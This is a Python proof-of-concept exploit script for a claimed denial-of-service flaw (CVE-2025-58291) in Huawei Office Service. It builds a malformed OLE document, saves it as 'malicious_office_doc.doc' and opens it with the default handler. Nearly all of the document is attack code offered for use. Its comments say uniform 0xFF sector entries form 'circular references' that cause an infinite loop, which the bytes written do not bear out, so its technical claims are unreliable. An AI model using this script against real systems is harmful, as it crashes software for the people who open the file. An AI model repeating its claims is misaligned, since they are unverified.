The following code is for security research and authorized testing only.
python
# CVE-2025-58291 PoC - Huawei Office Service DoS
# Vulnerability: Denial of Service in Huawei Office Service
# CVSS: 3.3 (LOW)
# Attack Vector: Local, requires user interaction
import os
import sys
import struct
def generate_malicious_document():
"""
Generate a specially crafted document that triggers DoS
in Huawei Office Service when opened by the user.
"""
# Create a malformed office document header
# that causes the office service to consume excessive resources
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE compound document signature
# Craft malformed sector allocation table (FAT)
# with circular references causing infinite loop
fat_sector = b'\xFF\xFF\xFF\xFF' * 128 # Invalid FAT entries
# Add corrupted stream data to trigger resource exhaustion
payload = header + fat_sector
# Write the malicious document
output_path = "malicious_office_doc.doc"
with open(output_path, 'wb') as f:
f.write(payload)
print(f"[+] Malicious document generated: {output_path}")
print("[*] When opened with Huawei Office Service, this may trigger DoS")
return output_path
def trigger_dos_local():
"""
Attempt to trigger the DoS condition locally
by sending malformed data to the office service.
"""
try:
# Locate the office service process or socket
# and send malformed input to trigger resource exhaustion
doc_path = generate_malicious_document()
# Attempt to open the document with the default handler
if sys.platform == 'win32':
os.startfile(doc_path)
elif sys.platform == 'darwin':
os.system(f'open "{doc_path}"')
else:
os.system(f'xdg-open "{doc_path}"')
print("[!] Document opened. Monitor the office service for DoS condition.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-58291 - Huawei Office Service DoS PoC")
print("For security research and testing purposes only")
print("=" * 60)
trigger_dos_local()